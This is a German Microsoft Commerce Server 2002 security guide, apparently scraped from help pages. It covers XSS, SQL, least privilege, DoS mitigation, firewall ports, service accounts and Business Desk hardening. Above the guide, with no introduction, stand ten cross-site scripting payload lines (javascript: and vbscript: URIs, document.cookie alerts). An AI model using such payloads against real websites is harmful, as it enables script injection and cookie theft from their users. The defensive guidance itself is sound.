<link rel=stylesheet href="javascript:alert(document.domain)">
<input type=image src=javascript:alert(document.domain)>
<bgsound src=javascript:alert(document.domain)>
<iframe src="javascript:alert(document.domain)">
<frameset onload=vbscript:msgbox(document.cookie)></frameset>
<table background="javascript:alert(document.domain)"></table>
<object type=text/html data="javascript:alert(document.domain);"></object>
<body onload="javascript:alert(document.cookie)"></body>
<body background="javascript:alert(document.cookie)"></body>
<p style=left:expression(alert(document.cookie))>


Probleme mit siteübergreifenden Skripts

Bei einem siteübergreifenden Skriptangriff sendet ein Angreifer in einer E-Mail einen Link an einen Benutzer oder verweist den Benutzer auf andere Weise an eine Website, wobei sich der schädliche Inhalt in der im URL eingebetteten Abfragezeichenfolge befindet. Der Angriff ist besonders hinterhältig, wenn die Website eine Fehlermeldung mit der eingebetteten Abfragezeichenfolge als Teil des Fehlertexts erstellt.

Die Häufigkeit von Angriffen mit siteübergreifenden Skripts nimmt ständig zu. Die wichtigste Ursache für diese Anfälligkeit besteht in der Anzeige von Benutzereingaben. Darüber hinaus genügt eine einzige fehlerhafte Seite in der gesamten Domäne, um derartigen Angriffen ausgesetzt zu sein.

Hinweis

  • Die Verwendung von SSL/TLS bietet keinen Schutz vor Problemen mit siteübergreifenden Skripts.

Dieser Abschnitt beinhaltet folgendes Thema:

  • Auswirkungen von Angriffen mit siteübergreifenden Skripts auf Arbeitsabläufe


Auswirkungen von Angriffen mit siteübergreifenden Skripts auf Arbeitsabläufe

In der folgenden Abbildung werden anhand eines Beispiels die möglichen Auswirkungen der Rückgabe von Daten an einen Benutzer dargestellt. In diesem Fall wird auf der Website die persönliche Begrüßung "Hello Blake" angezeigt. (Dieses Problem kann auch auftreten, wenn ein Benutzer beispielsweise eine Suchzeichenfolge zum Auffinden eines Produkts oder anderen Inhalts auf der Website eingibt.) Nach Anzeige des personalisierten Inhalts beschließt der Angreifer, die Sicherheit der Site zu testen. Er fügt dem URL ein Skript hinzu, um festzustellen, ob dieses von der Site ausgeführt wird.

In diesem Beispiel wird das Skript ausgeführt, und sämtliche Benutzer werden an die Website des Angreifers, www.<Server des Angreifers>.com, umgeleitet. Wenn Benutzer auf die Website des Angreifers zugreifen, kann dieser die zugehörigen Profildaten abrufen.

Dieser Angriff kann sich gegen Computer richten, die durch eine Firewall geschützt werden. Zahlreiche Firmen-LANs (Local Area Networks) sind so konfiguriert, dass Clientcomputer Servern im LAN, nicht aber Servern im Internet vertrauen. Ein Client innerhalb einer Firewall kann von einem Server außerhalb einer Firewall dahingehend getäuscht werden, dass dieser sich als vertrauenswürdiger Server innerhalb der Firewall ausgibt und den Client zur Ausführung eines Programms auffordert. Die einzige Information, die der Angreifer benötigt, ist der Name eines Webservers innerhalb der Firewall, der Formularfelder nicht auf Sonderzeichen überprüft. Es ist äußerst schwierig, den Namen eines durch eine Firewall geschützten Webservers zu ermitteln, es sei den, der Angreifer verfügt über Insiderwissen.

Weitere Informationen zu Problemen mit siteübergreifenden Skripts finden Sie im Artikel "Cross-Site Scripting Overview" (englisches Thema) unter http://go.microsoft.com/fwlink/?LinkId=6717.


Sicheres Erstellen von SQL-Anweisungen

Die Erstellung von SQL-Zeichenfolgen im Code erweist sich als problematisch. Eine einfache Methode zur Umgehung des Problems besteht darin, SQL-Zeichenfolgen von der Datenbank vervollständigen zu lassen und auf die Erstellung von SQL-Zeichenfolgen im Code zu verzichten. Hierzu stehen zwei Möglichkeiten zur Verfügung. Bei der ersten Möglichkeit übergeben Sie die Benutzereingabe an eine gespeicherte Prozedur. SQL Server unterstützt gespeicherte Prozeduren.

Unterstützt die Webanwendung ODBC (Open Database Connectivity) und sollen Parameter verwendet werden, müssen Sie auf die Funktionen SQLNumParams und SQLBindParam zurückgreifen. Bei Einsatz von OLE DB können Sie die Schnittstelle ICommandWithParameters verwenden.


Ausführen mit der geringsten Berechtigung

Benutzern und ausführbaren Prozessen sollten nur die Berechtigungen zugewiesen werden, die zur Durchführung der jeweiligen Aufgaben benötigt werden.

Hinweis

  • Bei Verwendung der SQL-Authentifizierung anstelle der Windows-Authentifizierung in der Commerce Server-Site sind weitere Maßnahmen erforderlich. Diese gewährleisten, dass Benutzer, die auf Business Desk und Commerce Server-Manager zugreifen, nicht über unnötige Rechte in der Produktionsumgebung verfügen.

Jeder schwerwiegende Softwarefehler, z. B. ein Pufferüberlauf, der zu Sicherheitsproblemen führen kann, richtet weniger Schaden an, wenn die entsprechende Software mit geringen Berechtigungen ausgeführt wird. Probleme treten auf, wenn Benutzer unbeabsichtigt böswilligen Code (z. B. Trojanische Pferde in E-Mail-Anlagen oder Codeeinbringung mit einem Pufferüberlauf) ausführen, der mit den erweiterten Berechtigungen des Benutzers ausgeführt wird. Der beim Start eines Trojaners erstellte Prozess erbt alle Rechte des Aufrufers. Wenn der Benutzer darüber hinaus ein Mitglied der lokalen Gruppe Administratoren ist, verfügt der ausgeführte Code unter Umständen über sämtliche Systemrechte und über vollständigen Objektzugriff. Das Schadenspotenzial ist immens.


Vermeiden von DoS-Angriffen (Denial of Service)

Wie bereits erläutert werden bei DoS-Angriffen berechtigten Benutzern, die auf die Website zugreifen, Dienste verweigert. Ein Angreifer kann den Webserver beispielsweise vorübergehend außer Betrieb setzen, indem er diesen durch Anfragen überlastet. DoS-Angriffe sind schwierig zu handhaben, da sie einfach und anonym durchgeführt werden können.

Es gibt im Wesentlichen vier Typen von DoS-Angriffen: CPU-Überlastung, Speicherüberlastung, Ressourcenüberlastung (auch als Festplattenüberlastung bezeichnet) sowie Überlastung der Netzwerkbandbreite. Diese DoS-Angriffe sowie Vorgehensweisen zur Abschwächung derartiger Angriffe werden in den folgenden Abschnitten beschrieben. Ausführliche Informationen finden Sie im Buch Sichere Software programmieren von Michael Howard und David LeBlanc.

Dieser Abschnitt beinhaltet folgende Themen:

  • Angriff mit dem Ziel einer CPU-Überlastung
  • Angriff mit dem Ziel einer Speicherüberlastung
  • Angriff mit dem Ziel einer Ressourcenüberlastung
  • Angriff mit dem Ziel einer Überlastung der Netzwerkbandbreite


Angriff mit dem Ziel einer CPU-Überlastung

Vom Standpunkt des Angreifers betrachtet, besteht ein Angriff mit dem Ziel einer CPU-Überlastung darin, dass sich die Anwendung in einer Schleife aufhängt, in der rechenintensive Berechnungen durchgeführt werden. Ein Angreifer gibt beispielsweise zahlreiche Bestellanfragen an die Website aus, die die Systemkapazität überschreiten. Ab einer bestimmten Anzahl verfügt der Server nicht über genügend CPU-Kapazität.

Um die Auswirkungen derartiger Angriffe abzuschwächen, sollten Sie die Bestellserver partitionieren und die Anfragen an die Bestellserver regulieren. Leiten Sie hierzu Bestellungen in den Links an http://checkout.<Storename.de>, und platzieren Sie eine IIS-Anfrageregulierung auf dieser Site.


Angriff mit dem Ziel einer Speicherüberlastung

Bei einem Angriff mit dem Ziel einer Speicherüberlastung wird die Website dazu veranlasst, übermäßig viel Speicher zu belegen. Diese Art von Angriff tritt in der Regel auf, wenn Sie beim Programmieren der Site vergessen haben, zu überprüfen, ob eine Zuweisung oder neue Speicheranfrage erfolgreich durchgeführt wurde, und Sie davon ausgegangen sind, dass immer genügend Speicher zur Verfügung steht.

Ein Angreifer kann Warenkörben beispielsweise fortwährend Einzelposten hinzufügen, indem er ein entsprechendes Skript verwendet. In einer Commerce Server-Site werden Warenkörbe als Wörterbuchobjekte in den Speicher geladen, d. h., ein Angreifer verbraucht letztendlich den verfügbaren Speicher des Servers. Dies wiederum führt zu einem Denial of Service. Die Retail-Lösungssite verhindert dies, indem die Anzahl der Einzelposten auf 999 begrenzt wird. Legen Sie für Ihre Commerce Server-Site eine bedarfsgerechte Begrenzung fest.

Um Angriffe mit dem Ziel einer Speicherüberlastung auf IIS abzuschwächen, verwenden Sie folgende Einstellungen:

  • Adsutil.vbs set w3svc/*/ConnectionTimeout 30
  • Adsutil.vbs set w3svc/*/UploadReadAheadSize 2000
  • Ändern oder fügen Sie den Registrierungswert MaxClientRequestBuffer=16384 unter HKLM/System/CurrentControlSet/Service/w3svc/parameters/ hinzu.


Angriff mit dem Ziel einer Ressourcenauslastung

Bei dieser Art von Angriff, der auch als Angriff mit dem Ziel einer Festplattenüberlastung bezeichnet wird, ist der Angreifer in der Lage, eine bestimmte Ressource vollständig zu belegen. Ein Angreifer kann beispielsweise fortwährend Anfragen an die Website ausgeben, um Warenkörbe oder Benutzer zu erstellen. In diesem Fall steht innerhalb kurzer Zeit nicht genügend Festplattenspeicher zur Verfügung.

Um auf Ressourcenauslastung abzielende Angriffe, die Warenkörbe verwenden, abzuschwächen, löschen Sie ungenutzte Warenkörbe mithilfe einer gespeicherten Prozedur, und führen Sie diese unter Verwendung des SQL-Taskplaners aus (siehe folgenden Beispielcode):

while (select outdated baskets not end of file)
    delete top 20 outdated baskets
end while

Diese Prozedur wird in einer Schleife durchgeführt, wobei nur die oberen 20 ungenutzten Warenkörbe gelöscht werden, um eine Sperrung der Warenkorbtabelle zu vermeiden. In diesem Fall werden andere Transaktionen blockiert. Dies führt zu einem Absturz des SQL-Servers.

Stellen Sie bei Anfragen zur Erstellung von Benutzern sicher, dass ein umfangreiches Datenträgersystem zur Verfügung steht. Weiterhin empfiehlt es sich, untätige Benutzer in regelmäßigen Abständen zu löschen. Verwenden Sie hierzu ein Skript, das ungefähr dem Skript zum Löschen von Warenkörben entspricht.


Angriff mit dem Ziel einer Überlastung der Netzwerkbandbreite

Ein typischer Angriff mit dem Ziel einer Überlastung der Netzwerkbandbreite beinhaltet den Echo- und Chargendienst (Character Generator). Echo antwortet mit der übermittelten Eingabe, während Chargen einen endlosen Strom von Zeichen an den Client sendet. Diese beiden Anwendungen werden in der Regel verwendet, um Netzwerkprobleme zu diagnostizieren und die verfügbare Bandbreite zwischen zwei Punkten zu schätzen. Ein Angreifer kann jedoch ein vom Chargenanschluss des Systems stammendes Paket mit dem jeweiligen laufenden Dienst vortäuschen und es von der Broadcastadresse an den Echodienst senden. In diesem Fall gäbe es mehrere Systeme, die Pakete zwischen dem Echo- und dem Chargenanschluss austauschen.

Überprüfen Sie zur Abschwächung derartiger Angriffe jede Benutzeranfrage, bevor Sie eine Fehlerantwort senden.


Bereitstellen einer sicheren Site

Dieser Abschnitt bietet eine Übersicht über eine sichere Konfiguration.

Ausführliche Anweisungen zum Einrichten der in diesem Abschnitt behandelten Konfiguration finden Sie unter http://go.microsoft.com/fwlink/?LinkId=6724.

Dieser Abschnitt beinhaltet folgende Themen:

  • Übersicht über ein Beispiel für sichere Bereitstellung
  • Firewalls und Anschlüsse für die sichere Bereitstellung


Übersicht über ein Beispiel für sichere Bereitstellung

Die folgende Abbildung zeigt eine Beispielkonfiguration mit neun Computern.

In der Abbildung wird die folgende Konfiguration dargestellt:

  • Präsentationsebene. Alle eingehenden Clientanforderungen werden auf der Präsentationsebene empfangen, auf der die Commerce Server-Website ausgeführt wird.
  • Datenebene. Der Server, auf dem SQL Server 2000 ausgeführt wird, verarbeitet die Transaktionen mit der Datenbank. Die Server sind durch einen Firewall geschützt, wobei es sich entweder um einen Hardwarefirewall oder einen Server unter ISA Server handeln kann. In dieser Beispielbereitstellung wird ISA als Firewall verwendet.
  • Domänencontroller. Enthält den DNS-Server und Netzwerkserver für die anderen Ebenen. Diese Dienste werden sowohl auf der Daten- als auch auf der Präsentationsebene verwendet.

Die dreistufige Bereitstellung zum Sichern der Commerce Server-Datenbanken empfiehlt sich unabhängig davon, ob Sie SQL-Authentifizierung oder Windows-Authentifizierung verwenden.

In der folgenden Tabelle werden alle Komponenten einer sicheren Bereitstellung aufgeführt und deren Funktionen erläutert.

Komponente | Beschreibung
ISA-Server 1 | Firewall zwischen Präsentations- und Datenebene
ISA-Server 2 | Firewall zwischen Präsentationsebene und Internet
ISA-Server 3 | Firewall zwischen Unternehmens-LAN und Datenebene
SQL-Server 1 | Commerce Server-Laufzeitdatenbanken
SQL-Server 2 | Data Warehouse-Datenbank
Business Desk-Server | Commerce Server-Komponente und Business Desk-Anwendung
Webserver | Webserver mit der Webanwendung
Domänencontroller 1 | Domänencontroller für die Datenebene
Domänencontroller 2 | Domänencontroller für die Präsentationsebene

Ausführliche Anweisungen zum Einrichten dieser Konfiguration finden Sie unter http://go.microsoft.com/fwlink/?LinkId=6724.


Firewalls und Anschlüsse für die sichere Bereitstellung

In der folgenden Tabelle sind die von Commerce Server verwendeten Dienste sowie die entsprechenden Anschlüsse aufgelistet. Die Richtung (eingehend oder ausgehend) beschreibt die Richtung des Datenverkehrs, der bei der Konfiguration des ISA-Firewalls festgelegt wird.

Für Microsoft DTC (Distributed Transaction Coordinator) wird beispielsweise der Anschluss 135 für eingehenden Datenverkehr geöffnet.

Verwenden Sie die folgende Tabelle als Richtlinie zum Einrichten einer sicheren Bereitstellung.

ISA Firewall | Dienste | TCP/IP-Anschlüsse | Richtung
Datenebene | SQL Server | 1433 | Eingehend
Datenebene | DTC | 135 | Eingehend
Datenebene | DTC | 5000-5030 | Eingehend (sekundär)
Datenebene | DTC | 135 | Ausgehend
Datenebene | DTC | 5000-5030 | Ausgehend
Unternehmensebene Präsentationsebene | HTTP | 80 | Beide
Unternehmensebene Präsentationsebene | HTTPS | 443 | Beide
Unternehmensebene Präsentationsebene | SMTP | 25 | Ausgehend

Das folgende Diagramm zeigt den Standort dieser Firewalls in einer typischen sicheren Bereitstellung.

  • Der Firewall der Präsentationsebene befindet sich zwischen dem Internet und dem Webserver.
  • Der Firewall der Datenebene befindet sich zwischen dem Webserver und den Datenbanken.
  • Der Unternehmensfirewall befindet sich zwischen den Datenbanken und dem Business Desk-Client.

    Firewalls in einer typischen sicheren Bereitstellung


Sichern anonymer Konten

Mit der anonymen Authentifizierung können Benutzer auf öffentliche Bereiche einer Website zugreifen, ohne einen Benutzernamen bzw. ein Kennwort anzugeben. Wenn ein Benutzer auf Ihre öffentliche Site zugreifen möchte, weist ihm der Webserver ein Windows-Benutzerkonto mit dem Namen IUSR_Computername zu. Computername steht dabei für den Namen des Servers, auf dem IIS ausgeführt wird.

Hinweis

  • Wenn die Site auf ASP.NET basiert, lautet das anonyme Konto ASPNET.

Das Konto IUSR_Computername ist standardmässig in der Windows-Benutzergruppe Gäste enthalten. Diese Gruppe verfügt über Sicherheitsbeschränkungen durch NTFS-Berechtigungen, die die Zugriffsebene sowie den für öffentliche Benutzer verfügbaren Inhalt zuweisen.

Wenn Sie mehrere Sites auf dem Server verwalten bzw. einzelne Bereiche der Site unterschiedliche Zugriffsberechtigungen erfordern, können Sie mehrere anonyme Konten erstellen, beispielsweise für jede Website, jedes Verzeichnis oder jede Datei. Durch die Zuweisung verschiedener Zugriffsberechtigungen zu diesen Konten bzw. die Zuweisung dieser Konten zu verschiedenen Windows-Benutzergruppen kann Benutzern der anonyme Zugriff auf unterschiedliche Bereiche des öffentlichen Webinhalts gewährt werden.

Hinweis

  • Wenn Sie benutzerdefinierte Commerce Server-Komponenten mit Berechtigungen für eine Datenbank in der Datei global.asa erstellen, sind für das Konto IWAM_Computername Laufzeitberechtigungen erforderlich.

Verwenden von anonymen Konten und Windows-Authentifizierung

Der Einsatz der Windows-Authentifizierung bei der Konfiguration der Commerce Server-Installation ist äußerst empfehlenswert.

Führen Sie zur Verwendung der Windows-Authentifizierung die folgenden Schritte aus:

  1. Erstellen Sie ein Benutzerkonto auf der Active Directory-Domäne, damit anonyme Benutzer auf SQL Server zugreifen können. Dies ist das Laufzeitbenutzerkonto.
  2. Ändern Sie das Konto IUSR_Computername in IIS in das Laufzeitbenutzerkonto, das Sie in Schritt 1 erstellt haben.
  3. Weisen Sie SQL Server die Berechtigungen für ein Laufzeitbenutzerkonto zu. Eine detaillierte Liste der obligatorischen Berechtigungen für das Laufzeitbenutzerkonto finden Sie unter Sichern der Datenbanken.

Siehe auch

Verwenden der Windows-Authentifizierung in einer verteilten Bereitstellung

Ändern des Kontos für die anonyme Authentifizierung


Ändern des Kontos für die anonyme Authentifizierung

Das für die anonyme Authentifizierung in IIS (Internet Informationsdienste) verwendete Konto kann entweder auf der Webserver-Dienstebene oder für einzelne virtuelle Verzeichnisse und Dateien geändert werden. Für das anonyme Konto ist das Benutzerrecht zur lokalen Anmeldung erforderlich. Wenn das Konto nicht über die Berechtigung Lokale Anmeldung verfügt, kann IIS keine anonymen Anforderungen verarbeiten.

Bei der IIS-Installation wird dem Konto IUSR_Computername die Berechtigung Lokale Anmeldung explizit zugewiesen. Die Konten IUSR_Computername auf Domänencontrollern werden für Gästekonten standardmäßig nicht freigegeben. Für den anonymen Zugriff ist die Zuweisung der Berechtigung Lokale Anmeldung erforderlich.

Hinweis

  • Beim Ändern des Kontos IUSR_Computername wirken sich die Änderungen auf jede anonyme HTTP-Anforderung eines Webservers aus. Gehen Sie beim Ändern der Berechtigungen für dieses Konto daher vorsichtig vor.


Sichern von Dienstkonten

Legen Sie während der Installation von Commerce Server im Dialogfeld Dienstkonten den Windows-Benutzernamen und das Windows-Kennwort für folgende Commerce Server-Dienste fest:

  • Listen-Manager
  • Direct Mailer
  • Ereignisprotokollierung. Für diesen Dienst muss es sich um ein lokales Administratorkonto handeln.

Diesen Windows-Konten wird damit automatisch die Berechtigung Anmelden als Dienst gewährt. Außerdem erlaubt das Setup-Programm nicht, diese Dienste mithilfe des lokalen Systemkontos einzurichten. Obwohl dies nach dem Setup auch manuell vorgenommen werden kann, wird davon abgeraten, da den Diensten auf diese Weise möglicherweise mehr Berechtigungen als notwendig zugewiesen werden.

Geben Sie in demselben Dialogfeld ein Konto an, über das die Ereignisprotokollierung ausgeführt wird. Dieses letzte Konto wird für das beim Installieren erstellte COM+-Paket Commerce-Ereignisprotokollierung verwendet. Weitere Informationen zu diesem Konto finden Sie unter Wichtige Sicherheitshinweise.

Dieser Abschnitt beinhaltet folgende Themen:

  • Listen-Manager-Dienstkonto
  • Direct Mailer-Dienstkonto


Listen-Manager-Dienstkonto

Für Listen-Manager müssen die Commerce Server Business Desk-Benutzer in der Lage sein, die Ordner zu lesen, aus denen sie Listen importieren, und in die Ordner zu schreiben, in die sie Listen exportieren. Das Listen-Manager-Dienstkonto muss für die Ordner, in die bzw. aus denen Benutzer Listen importieren bzw. exportieren, über die entsprechenden NTFS-Berechtigungen verfügen.

Bei der Konfiguration von Commerce Server zur Verwendung von Windows-Authentifizierung benötigt das Listen-Manager-Dienstkonto die folgenden Komponenten:

  • Datenbankrolle db_datareader auf der Verwaltungsdatenbank
  • Datenbankrolle db_owner auf der Kampagnen- und Direct Mailer-Datenbank. Weitere Informationen finden Sie unter Sichern der Kampagnendatenbank und Sichern der Direct Mailer-Datenbank.
  • Leseberechtigungen für alle zu importierenden Dateien. Bei diesen Berechtigungen handelt es sich um die für Dateien festgelegten ACLs.

Siehe auch

Listen-Manager: Dynamische Datenbankobjekte

Im Listen-Manager gespeicherte Prozeduren


DirectMailer-Dienstkonto

Feedback zu dieser Seite senden Commerce Server 2002

Direct Mailer-Dienstkonto

Das Konto, das dem Direct Mailer-Dienst zugewiesen wird, muss über Zugriff auf die Direct Mailer-Datenbank verfügen.

Beim Ausführen des Direct Mailer-Dienstes kommen die folgenden Sicherheitsberechtigungen zum Einsatz:

  • Die Berechtigung, den Direct Mailer-Dienst zu starten. Hierbei handelt es sich um eine Windows-Domänenberechtigung.
  • Die Berechtigung, den Listen-Manager-Dienst zu starten und zu verwenden. Hierbei handelt es sich um eine Windows-Domänenberechtigung.

Bei der Konfiguration von Commerce Server zur Verwendung von Windows-Authentifizierung benötigt das Direct Mailer-Dienstkonto die folgenden Berechtigungen:

Tabellenname | Direct Mailer-Dienstkonto
Direct Mailer-Datenbank | Rolle db_owner
Kampagnendatenbank | Rolle db_owner
dml_attachments
 SELECT
INSERT
UPDATE
dml_job_errors
 SELECT
INSERT
UPDATE
dml_jobs
 SELECT
INSERT
UPDATE
ML_<GUID>
 SELECT
INSERT
UPDATE

Weiterhin muss der Direct Mailer-Dienst über Schreibberechtigungen (ACLs) für folgende Dateien verfügen:

dml_drop
Winnt\system32\Logfiles

Für diese Dateien sind Schreibberechtigungen erforderlich, sodass Direct Mailer Protokolldateien erstellen, in diese schreiben sowie E-Mail-Nachrichten (mit Berechtigungen für den Zielstandort) senden kann.

Siehe auch

Sichern der Direct Mailer-Datenbank

Sichern der Kampagnendatenbank

Verwenden von Direct Mailer und der Windows-Authentifizierung


Sichern von BusinessDesk

Feedback zu dieser Seite senden Commerce Server 2002

Sichern von Business Desk

Zum Sichern von Commerce Server Business Desk sind mehrere Schritte erforderlich.

Für Business Desk-Benutzer muss in IIS (Internet-Informationsdienste) die Standardauthentifizierung konfiguriert werden. Wenn Business Desk-Benutzer Berichte erstellen, greifen sie auf Daten in der Datenbank für Analysis-Server (OLAP) zu. Um Analysis Services über HTTP verwenden zu können, müssen Business Desk-Benutzer mithilfe der Standardauthentifizierung authentifiziert werden, da diese die Windows 2000-Anmeldeinformationen weitergibt.

Bei der Weitergabe der Windows 2000-Anmeldeinformationen über das Web wird mithilfe von HTTPS gewährleistet, dass das Windows-Konto und -Kennwort gesichert sind.

Hinweis

  • Wenn Business Desk-Benutzer Berichte erstellen und über HTTP auf Analysis Services zugreifen, werden die gültige Windows 2000-Benutzer-ID und das gültige Windows 2000-Kennwort im HTML-Code von Business Desk gespeichert. Weitere Informationen finden Sie unter Zugriff auf den Analysis-Server über HTTPS.

Dieser Abschnitt beinhaltet folgende Themen:

  • Übersicht über Business-Sicherheit
  • Anmerkungen zur Business Desk-Sicherheit
  • Sichern von "BDRefresh.asp", "RefreshApp.asp" und "Opt-Out.asp"
  • Sichern der Business Desk-Sitzungen
  • Sichern der Business Desk-Module

Siehe auch

Bereitstellen von Commerce Server mithilfe der Windows-Authentifizierung

Wichtige Sicherheitshinweise

Tipps zur Sicherheit


Überblick über die BusinessDesk-Sicherheit

Feedback zu dieser Seite senden Commerce Server 2002

Überblick über die Business Desk-Sicherheit

Das einzige Standardbenutzerkonto in Business Desk ist die Administratorgruppe BizDesk. Zum Zeitpunkt der Installation einer Business Desk-Anwendung umfasst dieses Gruppenkonto anfänglich die Benutzer in der Gruppe Administratoren für den Webserver, auf dem die Business Desk-Anwendung installiert ist.

Ein Mitglied der Administratorgruppe BizDesk verfügt über sämtliche Berechtigungen und kann weitere Benutzer hinzufügen.

Zum Sichern der Business Desk-Anwendung für die Verwendung durch Businessmanager empfiehlt sich die folgende Vorgehensweise. Detaillierte Anweisungen erhalten Sie unter Bereitstellen von Commerce Server mithilfe der Windows-Authentifizierung

  1. Erstellen Sie Windows-Gruppenkonten, und fügen Sie diesen anschließend Business Desk-Benutzer hinzu. Sie sollten mindestens drei Gruppenkonten erstellen (die aufgeführten Namen sind Beispiele):
    • Konto BDGruppe. Weisen Sie alle Business Desk-Benutzer zu.
    • Konto BerichtErweitert. Weisen Sie Benutzer zu, die dynamische Berichte speichern, ändern oder löschen.
    • Konto SegmentViewer. Weisen Sie Benutzer zu, die das Modul "Segment Viewer" verwenden.
  2. Führen Sie die Sicherheitsskripts von Commerce Server für die Datenbank aus, um Datenbankrollen mit den entsprechenden Berechtigungen für Business Desk-Benutzer zu erstellen.
  3. Weisen Sie die Business Desk-Gruppenkonten den entsprechenden Datenbankrollen zu.
  4. Fügen Sie die Business Desk-Gruppenkonten dem Modul "Berechtigungen" hinzu, und verleihen Sie den Mitgliedern der Domäne die entsprechenden Berechtigungen für die Verwendung von Business Desk.

    Mithilfe des Moduls "Business Desk-Berechtigungen" wird die Benutzeroberfläche von Business Desk geschützt. Der Webserver oder die Commerce Server-Datenbanken werden nicht durch dieses Modul geschützt.

  5. Aktivieren Sie auf jedem Computer, auf dem der Business Desk-Client installiert ist, in Internet Explorer Integrierte Windows-Authentifizierung.
  6. Informationen über Benutzer, die Berichte außerhalb eines Firewalls ausführen müssen, finden Sie unter Zugriff auf den Analysis-Server über HTTPS.

Neben den zuvor genannten Schritten müssen Sie die Dateien BDRefresh.asp, RefreshApp.asp und Opt-Out.asp sichern.

Siehe auch

Sichern von BDRefresh.asp, RefreshApp.asp und Opt-Out.asp


Anmerkungen zur BusinessDesk-Sicherheit

Feedback zu dieser Seite senden Commerce Server 2002

Anmerkungen zur Business Desk-Sicherheit

  • Beachten Sie beim Sichern von Business Desk bitte die folgenden bekannten Probleme.
  • Windows-Konten mit Business Desk-Berechtigungen sollten vor dem Packen einer Site überprüft werden.

    Wenn Sie eine Site mithilfe von Commerce Server Site Packager entpacken, werden gleichzeitig die Windows-Konten mit Business Desk-Berechtigungen entpackt.

    Angenommen, Sie haben Commerce Server auf einem Computer installiert und fügen lokale Gruppen und Konten hinzu. Wenn Sie die Site nun packen und auf einem anderen Computer wieder entpacken, werden die Konten ebenfalls entpackt. Beim Öffnen von Business Desk stehen die Berechtigungen weiterhin zur Verfügung.

  • Wenn das DEBUG_MODE-Flag in der Datei BizDataServices.asp aktiviert ist, benötigen Business Desk-Benutzer Zugriff auf die Protokolldatei im Ordner Profile, um Änderungen einer Profildefinition speichern zu können. Dieses Flag ist standardmäßig deaktiviert.
  • Die ACL für die Datei BizDataManager.dll ist standardmäßig auf Jeder gesetzt. Hierdurch wird die Sicherheit von Commerce Server-Manager nicht beeinträchtigt. Nur Benutzer aus der Gruppe Administratoren können Commerce Server-Manager ausführen.
  • Wenn Sie Business Desk in Microsoft Visual Studio .NET verwenden und eine XML-Katalogdatei importieren möchten, die sich auf Ihrem lokalen Computer befindet, müssen Sie einen der folgenden Schritte ausführen:
    • Verschieben Sie die lokale Datei auf den Server, und importieren Sie anschließend die XML-Datei auf den Server.
    • Führen Sie Business Desk außerhalb von Visual Studio .NET aus, und importieren Sie die XML-Katalogdatei.
    • Ändern Sie die Sicherheitseinstellungen in Internet Explorer so, dass die Ausführung unsicherer Komponenten aktiviert oder vor ihrer Ausführung eine Bestätigungsmeldung angezeigt wird, und importieren Sie anschließend die XML-Katalogdatei vom lokalen Computer. Diese Möglichkeit wird nicht empfohlen, da dadurch die Sicherheit Ihres Computers gefährdet wird.
  • Das BizDeskSecurity-Objekt stellt ungesicherte Methoden für das Lesen und Schreiben in Commerce Server-Datenbanken zur Verfügung. Dies gilt auch für andere Objekte, z. B. Kataloge. Der Zugriff auf Server muss unabhängig davon durch Systemadministratoren gesteuert werden. Dazu zählt auch die Fähigkeit, Skripts zu laden.
  • Das BizDeskSecurity-Objekt unterscheidet nicht zwischen integrierten lokalen Gruppen auf einem oder mehreren unterschiedlichen Computern. Dies gilt nicht für lokale Gruppen, die von Benutzern erstellt wurden.
    • In diesem Beispiel ist Commerce Server auf zwei Computern installiert:
    • Auf Computer A befindet sich eine vollständige Installation, und es wurde eine Lösungssite entpackt.
    • Auf Computer B befindet sich eine Webserverinstallation, und es wurde eine Business Desk-Anwendung entpackt.

    Sie fügen auf beiden Computern der Gruppe Lokale Gäste ein Domäne\Konto1 hinzu.

    Verwenden Sie auf Computer A das Modul "Business Desk-Berechtigungen", um der Windows-Kontoliste die Gruppe Lokale Gäste hinzuzufügen, und erteilen Sie dieser Gruppe Zugriff auf die Profilmodule.

    Melden Sie sich auf Computer B mit "Domäne\Konto1" an, und öffnen Sie Business Desk. Nun haben Sie Zugriff auf die Profilmodule.


Sichern der Dateien "BDRefresh.asp", "RefreshApp.asp" und "Opt-Out.asp"

Verwenden Sie Zugriffsbeschränkungen für IP-Adressen, um die Berechtigungen für die Dateien Bdrefresh.asp und RefreshApp.asp zu beschränken, sodass nicht autorisierte Benutzer diese Skripts nicht ausführen können. Standardmäßig sind die Dateien Bdrefresh.asp und Refreshapp.asp auf anonymen Zugriff eingestellt. Dies ist erforderlich, wenn Business Desk-Benutzer Änderungen in der Website veröffentlichen möchten. Um diese Dateien zu sichern, gewähren Sie nur ausgewählten Business Desk-Benutzern Zugriff. Verwenden Sie dazu Zugriffsbeschränkungen für IP-Adressen in Internetinformationsdienste (IIS) 5.0.

Das Skript Bdrefresh.asp löscht den Business Desk-Cache, und das Skript RefreshApp.asp löscht den Profilcache. Das wiederholte Löschen eines dieser beiden Caches könnte für Benutzer zu einem Denial of Service führen. Diese Dateien befinden sich im Stammverzeichnis einer entpackten Lösungssite.

In den Commerce Server-Lösungssites stehen weitere ähnliche Dateien zur Verfügung. Weitere Informationen finden Sie unter Commerce Server Solution Sites (englisches Thema).

So richten Sie Zugriffsbeschränkungen für IP-Adressen ein

  1. Klicken Sie auf Start, zeigen Sie auf Programme, zeigen Sie auf Verwaltung, und klicken Sie dann auf Internetdienste-Manager.
  2. Navigieren Sie in Internet-Informationsdienste zur Datei Bdrefresh.asp.
  3. Klicken Sie mit der rechten Maustaste auf Bdrefresh.asp, und klicken Sie anschließend auf Eigenschaften.
  4. Klicken Sie auf der Registerkarte Dateisicherheit im Bereich Beschränkungen für IP-Adressen und Domänennamen auf Bearbeiten.
  5. Klicken Sie im Dialogfeld Beschränkungen für IP-Adressen und Domänennamen auf Hinzufügen, um die Computer hinzuzufügen, denen Sie Zugriff auf die Datei Bdresfresh.asp gewähren möchten. Klicken Sie auf Zugriff verweigert und anschließend auf OK.
  6. Navigieren Sie zur Datei Refreshapp.asp, klicken Sie mit der rechten Maustaste auf die Datei Refreshapp.asp, und klicken Sie dann auf Eigenschaften.
  7. Wiederholen Sie die Schritte 4 und 5, um die Datei Refreshapp.asp zu sichern.


Sichern der BusinessDesk-Sitzungen

Feedback zu dieser Seite senden Commerce Server 2002

Sichern der Business Desk-Sitzungen

Beim Entpacken einer Commerce Server Business Desk-Anwendung durch Commerce Server Site Packager wird diese zur Verwendung der integrierten Sicherheit von Windows konfiguriert. Dadurch wird zwar die Clientauthentifizierung gesichert, die Daten innerhalb der Business Desk-Sitzung werden jedoch in Klartext übergeben.

